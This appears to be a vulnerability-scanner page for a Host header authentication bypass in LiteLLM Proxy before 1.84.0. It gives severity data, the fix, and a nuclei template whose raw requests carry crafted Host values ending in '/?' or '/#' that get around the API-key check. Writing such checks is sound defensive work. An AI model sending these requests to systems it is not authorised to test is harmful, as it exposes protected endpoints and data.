LiteLLM Proxy < 1.84.0 - Host Header Authentication Bypass

criticalseverity

8.1CVSS score

3%likelihood of exploitation, next 30 days

88%of all CVEs are less likely

Readycheck to confirm it

LiteLLM Proxy before 1.84.0 derives its public-route authorization check from a URL reconstructed with the unvalidated Host header. A Host value containing a fragment can make a protected request appear to target the public root route, bypassing the API-key check. Version 1.84.0 derives the route from the raw ASGI path instead.

Fix

Upgrade LiteLLM Proxy to 1.84.0 or later.

How to confirm it

Send: GET /v1/models
Positive when: contains "type\":\"auth_error"
Send: GET /v1/models
Positive when: contains "\"object\":\"list\"" and "{\"data\":[" AND contains in content_type "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2026-49468 -u <target>

The full check

id: CVE-2026-49468

info:
  name: LiteLLM Proxy < 1.84.0 - Host Header Authentication Bypass
  author: str4k3r
  severity: critical
  description: |
    LiteLLM Proxy before 1.84.0 derives its public-route authorization check from a URL reconstructed with the unvalidated Host header. A Host value containing a fragment can make a protected request appear to target the public root route, bypassing the API-key check. Version 1.84.0 derives the route from the raw ASGI path instead.
  remediation: Upgrade LiteLLM Proxy to 1.84.0 or later.
  reference:
    - https://github.com/BerriAI/litellm/security/advisories/GHSA-4xpc-pv4p-pm3w
    - https://github.com/BerriAI/litellm/releases/tag/v1.84.0
    - https://nvd.nist.gov/vuln/detail/CVE-2026-49468
  classification:
    cve-id: CVE-2026-49468
    epss-score: 0.03033
    epss-percentile: 0.87604
    cwe-id: CWE-290
    cvss-score: 8.1
    cvss-metrics: CVSS:3.1/AV:H/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
  metadata:
    verified: true
    vendor: berriai
    product: litellm
    technology: python,fastapi,starlette
    max-request: 1
    shodan-query: http.favicon.hash:539724359
    fofa-query: icon_hash="539724359"
  tags: cve,cve2026,litellm,auth-bypass,llm

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /v1/models HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - 'type":"auth_error'
        internal: true

  - raw:
      - |+
        GET /v1/models HTTP/1.1
        Host: {{Hostname}}/?

      - |+
        GET /v1/models HTTP/1.1
        Host: {{Hostname}}/#

    unsafe: true
    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"object":"list"'
          - '{"data":['
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from